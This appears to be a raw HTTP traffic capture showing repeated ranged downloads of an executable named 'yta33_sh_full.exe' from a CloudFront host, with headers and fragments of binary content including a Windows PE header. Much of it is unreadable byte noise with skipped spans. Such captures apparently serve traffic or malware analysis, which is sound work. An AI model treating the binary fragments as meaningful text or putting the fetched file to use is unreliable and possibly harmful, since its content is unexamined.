.r....} .y8h...#...$.......]'..c...?...c..^5........u...q.x..y...5l..M
..JF........>.4..x.d.....h.s.......Hb.. ...I`....|Y..{.%....qy.."Q.
M7..#.x.P......nb.Km..A...4.\....t..fU...Q...h.8R..h...#...7M.>`..2
..h..U...8.t..9-.o.o...N..*Q...j...1N.2uzHwU........'.3L..j....<b..
.NF..V..6..V...l....\...w2...w].W../.FW....t.e.".........K....b......(
zSI...R.. <..[[email protected])pj"...)y1a.....W..]...<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-249999/7697808

Age: 43482

X-Cache: Hit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: rQ37dPVb9Rida3QAQeHa8lqG715FtdiibAkFrXAEVA5U1uNUNeDFYA==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7.....................Vu.............. ....@.........................
..u.......v..............................!..5...D ..<[email protected]....
......Zu..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H

<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 500000-749999/7697808

Age: 43482

X-Cache: Hit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: SbTKqyxoP2Bg3EH5sot5PcTGtb4LbsBNapZUgAYGpzVMWOZRHbvr6g==
.K...r..... 6...Z..y..]...uy..S#...-.#.I......n.1..!1)...X..\L.U.&..*.
.........W..1.......r)...v0!Mv.....N...=......o.^......{"....{....B.y.
.p~...t...n.$.~P........$...N..L...D.o.J\]..7.)..R..I}.B4...:..(...g..
D.uP........Xi...HK.tSrr...~...J..*..E.q.E....o...=.......q..{%{`r....
........[.......7...i./.i..p<...|....%.....6.mx .........Q.......m.
[email protected]........|..=.....)`T)R
2.T1.-......k......Xy....Dlbs1.qM2....U.../...1Y.H.~.]bpd.....j....Gl.
(.].L.:.?H..P..0...N.j].;U.b..........k'. ..i.....QFK......R..V.QR~.X.
e......../...a...?A............j..;[email protected].%...wa\..L..{.|
[email protected]..}.>.b.SB.~.E.1P........R..e.-...7..Pj......(t....)..
.\.o.K....y*.=W[......0W...2_...L...5.......'Y....!dtnY.p.z....K......
$YU.....|?... ...J.h.u.C......NQ....F..bD .;.z...m...w.$Lm:.=%..e.O...
.....r..%.5Gl.f.|Z...f. ..[s...8j..fuh..f.u.jZp.#ONR....Z.z......E.$..
..KJ{...hf..?....,.g/q,...V.Xh.^u8z.9?.....B*.>..&~.=!9.XPe..HS..&R
.......>.N.....(jV.BW-5Q.e6.|s.M`.O7..|R...]....p...e.&..H2.^E...)&
gt;..P..W.....>.v9-S...U..o..>..E..A~[..2.I....& .N."....}P.D...
.4]...c.k.......aKx.>..Y../....U8.....Z...Z." .....\.V...8......m..
.( .)...m.d...].&..k...8A......".."...*HO..V.. ..\..........c?(.S..L..
..&....aih.........#^..O..H..e.lP.E.Cw....pB .50(.S..t.48.o.8..h.... .
.s.......|....0.<..R..Y..V..h.Zm.C.....2s.BM...^e..|xg.......wu.&.B
..y...x.......B..lX.a#{......)`.l.D.....E.?u....'...d..A....m....yo.m.
p..7.*..J.".f.x...[..8.[..s...=xzF.....1r.rmJ...eJLh........u.5...<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1000000-1249999/7697808

Age: 43482

X-Cache: Hit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Z5Ts_QwAYpc5bFsOUHg72Pk3WuNjst0ZolprU9aRO3Qtrkc0og27kg==
....S..%.$|5=7_Wg....t..J1.jR...Rw=..<&.....D.....][...)..}'.......
....O......"Y..pEi.EQ....|Tz.d....~....y.....'P....W.N$.dkt.x....Km..1
I.A9Z..$..}.S.?...m...}....\......&..X.sR......x.....$ K....).....>
4O.:....F.7z..X.x..j.......>H..u[..m..\.r.P,........=...p?J.H..w...
{.^e.u..37....K..`..|I.f.4...Wj.....g.Zi......M.\9.........B>.8,.\:
d{.1-.ox5....,........[...B........B{..,...=......1.....^A..I....MEO.:
.l..f..{...8?....kx...=#.ix.......X...q*.en...vPP.F.Q...........m..cD.
.......\1.Dfb.....:`.$Y...O.,#.1B..a.....Q.:....DtWM.fqW....".,.PA...y
..e....|.......t#..9...Q.A....5c;t.iU..t......k'b/.K(.vZ.#.]0..... .L.
;.........ulJ|*.|...4......-.E7...<y.B......S.2.f.yq.......R.-..ubZ
=..=...-]...'@.........}......{.U..X.....m.......K.B.L.....k......)R..
S.B.V...U.c.].W{.a<e.j{M..[.Q.)/..%..z.....6..p.j.O....z.%...3K.:..
W7..pV....8.....t.`........f.. ....*[email protected]!."........."...N
.$.A..t...u..V..}..P...<....S...5$.rD....&....y.....:.%.......I...U
IK/..........B.....tM.!...=.......q_..>..D>f..O.K..\....m.4t.=F.
.]v.#.b....O..)&../....L...cl....#[email protected] ....
)>.r....,....*w...c...:pz..c}.......y_.C...8..e..b.}>.T.....|,..
/.2...3..>.....M....".......Q.#.2.....]P.i..g......"g'[email protected].&..S.
I...0.5....xo..p z..t.t.{&....$HPO..$.. ....4.:.R.....HP..=.Ski..Co...
w.h?QGF....n..?g.1.1d~GQ.0.....k...o[ed..q..}P..d.........egV.\.ZU.f..
.;.....m.u....Ay".<`"M..&...c.tM..;p%...L>[email protected]/ye......Fw
.L..i...b.\.|.n..e,....u.../.....^/I*......5.F...ln.0Wu...O..X.U..<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



IP.g...W......;C.........a2........w......iq.......Y].J.....A......E._
.y...Z^\..@$....fk..(......)..vV>/.Hg...qq3........m3.....P./......
!...o..|...9...Wm~n....y.^..t......,7.W...0..zj.....j...G.R....G..x.QY
...O....f.x?.....k....O{....h%.i.{W1z.......5.zy..v...\m..z.A........h
..L[........{.......A.*.'.z_...@1r.'.J9..;[email protected].:..[S.........
.o.r..5.....G.4.......Q..x.}i.VH8.|D<.....h..6.*.W.s....p..ebXB....
.x..>...4..,.$/......._U..>.;..r....[>..w..v.........L.s..VU;
..1...O4u..9}.....>1&].p.FL.:.......8.~.l-...%y.5..cG.<Yp..`...0
..)...wWy.....l.`.......Jt...v..;.A.I.3..........I....Z..j.N....I....k
4..........5U..<x5.7...}e.j2.?..?,..",........dY............o....@r
.G...5...K`=.&RF......$..9....~.........d.H.Ub}....R.P..9S. ..y.l.....
.[..[.......%...@...}A'U,....*......0.G0....98ck.h U'....wo.Z......)s.
..f.....L..........k...K/.B..0.u..n..4.A..F...v.VGW.N....;..il.A......
.........('[email protected].}.sJ...?`}.........iE......r. ..j......RI
,9.....`<.z.. ...V{q.......'#.[."....?...#.....9..A..Y.......]....Y
.........=....C*.......?..Ag.P./.$.-~..r-I.q..b.8..c.h../...SP. 2..h.I
...."~U....I...z.m...M.9y.  .......`A..}O....I..!?.....`w.x..GDm.Pd':.
...G...ePe..W!5T..i%..#.....H{._.....vdhK.ak.:c.e.p!.d.Z".<u......a
.4[G.{. ...'c...QL.....6......Y}...v. D.u.5<<..l.T..}{BBZ{.$%G..
..av3..b8o.F:......fUW.x..6...N}..h.lg.r..,..;L...s......`.u..........
J.}...$1../.... ........7s..1.E.........!.C.>....5E  Y.Zb..=..u...:
..ALy.......I...1l..w...9.{..h....Z.$.....b3^...........&.......7}<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2500000-2749999/7697808

Age: 43483

X-Cache: Hit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: e9xE0QG45o4ToA93usKrQqQEDVm7Z0yeRIr1B4c5SKdgGCxx9nkqWQ==
..n..J.y.m.K.....t.......6."7.....'....!.^..y Z.Me.k.,l..H!.utg5a'D.[.
(...B...oT.z..5.{..Y.x..*[email protected].%'8".......[...V...c.pb........./...6
v\..9e.....;S.gd....cM.}[email protected]....&]d.&Z...F.[...D...oG-...(... .
8..cVx.GI|*..h.(dn....H..a..QU..b.#..gU.\u....M8lj..[{.c.....9.......e
...Y.We1.v#z8.<M%.....y.|@...ja. ./K..^.]oi. ......J......3.$.^..5.
.y..FD...n.....-.........<.2...5.B....MU.@.<...>f..UEa.......
Q.J..^.R.Z;..x.y...E.R.Q.^.c?..Z.z.P.u....y....bn.........^.B.[.......
T....z..!.....z=..............EP..?=.0.N....Y..$.L.J4.!g..f7d...o.2&..
-..........0m].^9h....E.s..^O......"[email protected]]3.B.Q....v.......@..
A.w.).ff....x?=.......{...SI=.... ..9....T.V@i......:y_ar8Ae....X.i ..
c.....o.E.f..70... ..q2...7......g....e..._....G......u.... ~......Y-.
...../hU...T.... ..A.=8..>.vSn...NL.....l.....`..CA..8...:..{..H*4O
l....E<...\..N.t.......?...x).w....qk.i.[.......J4....P....:.!0HW..
..{.....b&A...B........,ny.3,.....R..j.q.P...4qd.` .(~....lA$.V.Ol....
..)=........Kej........m.>..B.h&.)......k'....A..n.............K..X
.zR.W..)&.....eU..zc....S..4(&kB..3.3.?5!...<.....m.t..~.l8.M[!b...
L~....=....%.o...2$..n.|.T.....b-._......I.4.scr#.Ll....Qwb.d......-..
...s.F).A...r.H.,_.-oD.n... ....1u......I6..D......j5Mr.G..>...=...
*Hc..x7.../..o\..........ilg.]3.ek..G..<|.(.o.......P.T..XXA...\.&g
t;jr.V..$.I....VI.J...t..".MZ}1N^h!&.........Q.N.:..v.NN(...|@.%.Q..@.
...b...F.t..a..Y...V..4.%.k...?r..._....sI!...%2o.r.Z....N.j.={..e.^..
[email protected].../@.30*.........SH..o......z..o.U.........<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



.g......:..&y..N..y...FO...c.h.... .b.....G.. .p_.C......T.m.....8/...
....d.J/...g>.8w^c...rM....k....B%.Xz...8..&...............W....y..
...55..?.Y.o..........n..D..q...jk....:.......J.l....]p.5... ..15>.
.;..*....&..&...t\....K.Tm ..,G.......8@jBE../..vF.r..x....r6c$..!M.:.
..gb... `*..b~si..(q.KS 172.IX36..F;(*C....B[{.oQ;.....*..F5...r...i.Q
.m....&...x...c.).OZ.'k.0GkZ..Y..d..4............ .c.q....R.\..N..vz..
...%.r"./3AK.h&(kIm....i.@ [email protected]:......^.-..]k..7.
q.....y!...B..R.E.^W^5.4Zv].&......i..t..je.$..e...... W......y.a..GV*
....(2..NG..#~.......|.V%:7D.[...!N...1NY.`..o[....*..y2>..!m.E.p..
..S....i~EP...o@F**.$Yr......'.K..r.ua...z@`.......Kq..h.....h.;.k..Oi
...1*T.A..I....Q.aF.........V.P.....y.[.D.....Z.....DEA.Z*O.E.H.......
H=..]...d..TM.......f].733.._H..I.2%\....Q....u...r....Z<,.E...) ..
/'....x..........z....7..a....kXWu~}.U5Y.;LR....r..r....oB.[..>Bgx.
E^.....k.7.]...:/p...Q r.i!e#R...b]..N.A.....N..{...ZNt...%D.\>:...
91m.*U.N'...6...F......bj...>=..c. Nk..cd..65..?6......tyB 3.*|.9.\
...z.bF.}..F.*.......8.F..z^.t..1...;L~.n......}..^...H...d .......i..
x...H4..y....g.T>......rSY.].....F.S?g4..Vj(2..n..K..|.5.eW....4.Y.
.F ..{.....wn.........\.*%.....8a......tS?u...W..P......Q%.d..I..V.,..
.4'<......9:;.#....D.!..8bJX.e.3.c.K....~iX......w ......`''...oO7.
.a.B3../..N........$v...C.K.V.l.n_.7.....%K..-....R..25l.J#<L......
.dE. CFe..c:6|.2...]}[email protected]...%...e..M.>...RJH..e..Y.....h....:X.
....W..$.......VYX.....&}..>l...iYj.\..8f>...g.......[\&....<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



....\.5.t...y."..N?..*...`"*..l(g.)........A{......a.......`........QP
J39...*s."6..a................is.......0......:........Hw.?9.mjH.%.\..
.2.;'..Z.%.Ly:}...|.......f_t`"H.!p`.}......S;O.o`..|[email protected]........=F
...3Y..n]r$%5...N..s.........%.G.7K....)..\......e.......#.j....)....E
.r..~b.Y........Hy.ISz....=3.w..._H.........Y......D....t..:}.m..!....
..N...'S.......G.j.)BE|.v.h...i.e..&...s...Q.Q......\.s.I{.gU0o.in.{v.
........e=.a/j..r......3,..V....|.7..R..t....N....``l... .FGP.`` m..-.
.s..Ty....r'.........v. ..e.m...E.fG.....x..#.3...A....x[...:.X.s.'7Z.
.W..........2.)....m".....8T ..}.ZVQ......*...F.......t.y...F.....J..8
.....j.23..../e.]J.^...j.O..j..S..(...Lj.9/.L.]..b..m.*.X..O....'YG..&
lt;m.....7.]th..N...:.H..t.b/.<~.......".f|....s....<eSJ.p^.>
....D....o.GAq ...e.e..............$...&..cV..R...hq.A..@.<r.q5h.q&
gt;......g)4.<.g.......$:.."H.....oU..U[..jr ..Y......v....[..|8":)
.:.[c..T.$.q...g.)......$..X..8j....|}`.....WrR.....e......4......P.r.
[email protected]....}=.-g.A...W.
....~....#..x.z...m.k....^,..V.x.......4p...T.....9..ba.....KA.....M\b
..)Y.6...6x..._..Ar...0.....x.)...=...I.r...#.....]..n....K.LG..!...0.
..:........:...u=Xm...QD...b................7Y.y...w..U..........0...3
n...8A.w..L$....>!..$.'.h.... e....?v&.;....;cv......YN..;4....#&..
.`....8...........w..........k......[....d.(.......W..%..l...T....3.}.
H.f....U..U..bt.R.W.E.....4.2._...HGa\.Y.:.kQ..#L..A....f....]}e.b:n}.
r3........2..8....ZN..B:.u}... .e.!.7Bl[R..^$AX$............]...&l<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5000000-5249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 5250000-5499999/7697808

Age: 43483

X-Cache: Hit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wbKNljCG4rWifdj4i0e4xtHxEuAywuggyscySvQtfOE58RDVVnkjeg==
..mt..r0.v.Q.FU.32H.x...[*M....Y..*%.R[;$@............#4..R.D"Y..H...q
%Zhfb..p......}NIt[v/3o3.......I.&...#o...V..../K.=.?2..pU....0....8.]
_.."..p....v.b.$..X...8.>[email protected]....*.f:...Vuyi.....e.l9.k...
......ocz:.5.$...M.X.j?..H...T4L...L.;m.$.;%..^..C..>ZV....?.....o.
.GMc...P.6.Q.}.x...w.1V...^.r...8A..C.B.E.c..1...HH...S.....#.~A......
".....3.l.o<s.S...;(s....O.......Px.By.....&h..B}...q1.zQ....6.k...
M.j../[email protected](.k.UG>i.O}...v...-Kx1a.~........,..
sq.{..^.O.......o.H..........Ve..O."..T.O`....W..]XT....xn.....nM.xT..
;i..0..3_\..B....6*...^|^..X. r.8T..OU.{]..*R...a..Ml[.`...k#<...b.
..s........|#.*.p.V&-b....7i.>Z.....F;...!...n..._.gJ..R..l..w..y..
X.[qB.L..D.S......d'1S~.u5~.0v.dt.....b.\e.^)...B.FP.g..b......n.\L?.`
.].-'....N#fd'..=8<UV.^..8.....>..L...7....@...*....y.i..W..P@c2
w..i7..XW.w..)[email protected]^..Qi.-.?L...E..wP....7.....v.~.7b...7&
.....t._7....^...5|H.d;*.....b.Z.....WK.7.-.......=.b..%..4.B....T...5
8a<.<..'.l......^.C,I.i.<...X.;.,.....X:..T2.=-.... ...`.W...
...c.......M...vR...v../..S..%k...".2.......L....`..>.# vf....`.y..
........"..S..e@...{.......Z.?.6...d..N.Mr.".`..N.1d.F>...ia=.E...@
Ox.>#..].sD.h.p...U.w.q3k.3...\...Eu..............<2.""v~..!.db.
...O... .....9..Bs.....]..B.'.O.......L.......#.."...?...zY....gt.g.\.
N./?...|[email protected]...._.`.3v..rt....4..'...4.d)m.)].....z.K.N..0.....
....2.S.6.Cl..a.!.s....8.......F.Xmm..FJ...s...................Dw..t..
....O.&....*p..'.O..Sn_.3<<[email protected]$\..(.`2<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5500000-5749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5750000-5999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 5750000-5999999/7697808

Age: 43483

X-Cache: Hit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GEhJlyQuQ5WpBKQB8o2yIYmwU5GZjdeS4HuZC-5ef13pAQkaZM5IJg==
.L.\./[email protected]...[.....%.B .D.....a...6P........jbu..ma.....U..ht
.Os._..e...z...bp......!j..6>4.ax..p...I....P..Q:4...._p..U.5.^:._U
S..S.F4.4.......,U.:..Y.s."j.=X..A<.8.......!...`.2&..Q6..[......&g
t;...0.!..D....?...P.. S......J......tiHg"].m..8j.P.&,..... ..V...}...
dOv#;...d.&......q..KK....86W..^ ..rw........K(.A...M/...Pqp........._
 [email protected]$'...J..'(...........Z0.C~(W....!...OT....!. ...l_.....c.Iy.Y
.Z8-.....:{ix.A.....Es6...........s.E.l.Y.Vs..{...O?.......a.x.^..;K.7
.....7................~.?&.d....?...........%.><...0........_...
|#k2....J......r..tB.p..u....g....u..../(....ICo......mU........(|...E
SF....c.%........(.7...t..wc.T>#4...`.. R%G...N..<....s2^:$...K.
-i,[email protected].!J....q~H0=.....~IL..%o.....bTXq5)
.9.*_...B...C.m..Hm.7.;.BG..'f.~.H....^..3...Q)?.2.............q.b.qA.
... Z. ......Xl.7Y.*......Y"o....N...)o...IT ....4%.*.@.}[email protected]....
@O...j....-,vO3......JDd..=B9....i.<.......#'.1?.....X.g...u.L.]{bD
..J".'fk...L.P"....b..._........i...2.$..(.w..j...9P:...E..".J.'..i...
D.ap.......F".'..6i...f.`...t..'9..e.....%G.....Z...n....zl...B.`...t.
..:.b.N.tJ..M.."s....Gh.A.0%.B.8%..4.G.._}........v.*[email protected].)....
B.b(......3W....]^.f%h.q%.8.F......nA...^.$.D....pc'7...:.c.......V..B
B....~.....=.g`Q...[......(n.J...4..z........?...E.UQ..=.0\.<...>
;....b.].J....CA.8M.%V..5'...5.].....Y..w.z...D......P.c{x..U.D.....z.
N(h.......S.....C.L#.S-5v....(.?..0I..6...Y-..........j..0.aH..D4$..{J
.g....*..8......Je...."vB.}.-.dQ....'.f....*B...#...j..V`.R0v.:.n.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6000000-6249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6250000-6499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



w..P.=.......`.E.../m..../~.)..p......[S...(y.DZEH)...{...I*..&.(H.N..
wY.R..."...3......A......Y_BVT.c..[.fV...~....Y.]...g.0|...K.Z...R..I1
.V5 ./.. ._.._.io......-...:~3...#wB..".!.......3.Fr....H.:...........
....i=.....C.%...d}r..0.q...c.w...]=......w.......\A..y4'L.sY..#H.. 3f
W.D......V.m...l.0..o.G...:/]. ...u..P..n'8.....H.F.Hs......R.nJ.^YT&l
t;.Vy.........2.........)[email protected].,.z_o
pj.6Z.O.B..f.&.w^e.S.jC...-V..........3S7..6..2....x..Q.!..n..._....X.
[email protected](...e.m...j.?..)`I.P(.Y.D.y....Y0.|..KL...%.......JK.P...F.
JkS..a..I..L[....R...v..........?......*.\..N......>....d......../.
J...~?.X;k......2.....L.V....A......0..l.is....:-............`........
Rc...f.A. ..O.U!m..@... ......../k4UU.F.V...{..w...kC......^...lf.Af..
...a&..i.ax...a.e...._4..G..X.....\oql.9E8;.....K."pS.Sv.ea..L......n5
.s...O?.I.u .1.hB.fU.....S..... &.......7|.0....L..v.Au...[..u......w.
. .....g...?.}.h.7..... .bl.2...([email protected];0.[[email protected].[.Fe.w.....2..
x..2|...RG..vd...C..5....Bk.......v.r.>.{..3.j........W~a'P5z.(...g
4...A.:..X......d.k..........f:.!M.....XX......E.B....A.a.........|o..
....a.6.;..N..i.....wS..:.....j.=..h.m..=u.E.b.f.Th.U.`w.. }....S.W...
...........i..l\..9..iX.J.8..U.f..4%...@....!.5.^.-.."..$K.....@.....~
.|b5.n/.5a.VW.I....}.....>4.U.ULO..W.u..]59<.a....g_..R.dak..l..
;)[email protected];.>.u\......x..fV..V..w.g....
..n...... ...x..z..8....9...h.Ls.....r.]3..B...sa...5...0.w....d..m..A
Ls..V........ .....JI...L...P......dv..yH^.....n/.`.#....Y.......~<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6500000-6749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6750000-6999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7000000-7249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 7000000-7249999/7697808

Age: 43483

X-Cache: Hit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IDON5WVGI3f9J6GXj90pzDepxD1f_cXrkh3GEI3krHwH3eGj1gTiVw==
..u.m.S...I.....H.D..Q..i.......a....Y......J$.`..\V.Y..8..<..Ny2._
....y;)@.U.]RI...uW..i..`...y..c.... T. ..f.}.d.. m...O...H[.Xm};[i...
.]<...>t.."..f./..d%HK.............r....u]..... g.Di...~|*4.T>
;.D..m..xjG0..O...4...Hny...m..I.RD./Y$i..k..z.k...s>|.....H..3...D
...d...f.xRG..V....0......s`!a.(........g..../ .q....r...E.......,^...
.K.QZ.B......E.z..o..{..h.....].}....."...*...,....b.[...S....j*[email protected]
[.d[.NL.....|`<M7t.B."#........o..(.R&%......O.....H..;..e.....t.7s
.E0Z.'D...K..> .G.p..["...?...W{....y...G..{.^...1..>6)...<MD
.56.(....2!...h..f.*.[x8...c*.&...5...H[?...YzR.....d=..u....X.X.....G
/y...Ej6.e..5)O'E4..]......4.....N6......N.lzn.(..... U...vKKR.K.9h.Y;
.x.....9.....'F...V...<.O..,.Z.q.a....W6...w.-H.0....w12.....y...-k
E0.'.vDp.. .^..[....Ou..(m.... i.A.~U.S%c.....=..%S..]..7.d..X...CN*.6
[email protected]|.>][email protected]$.n...6...k.q.Lf.....g..)(....r...
0n..<....r..meb.r....q....T.,o..!..:f..Q.l....J....e....../f......A
F}S..(l.....A .....{........J...y.j.....:%..H...^.....7..J...(=....E..
..g..pf...`.L.'...An...?..........UvX....n......;...`[_.;?.'....aa...d
....a|.C&..k...s....`...... ..4]..PB..(....!.5..4H....-.G.4._rng$.d`.'
.Yk..:......G..D.F......5.....J....!..dX...W..........[.....;.........
......(e.p.$.d.z..p.E".....0.P.U.!!n....,[email protected]*!.!OU,`..G1HLN.o
.;/......N.....I.G([email protected]..........`._/.c....Uw"......W....
..v.j.*..-T..........=2VE!.C..j...1.O.i...# 0.....h3...uCC:..=.I......
....j...........d..]X9..e..f..\........v)!..*...R.......m. ....Bh.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7250000-7499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 197808

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 7500000-7697807/7697808

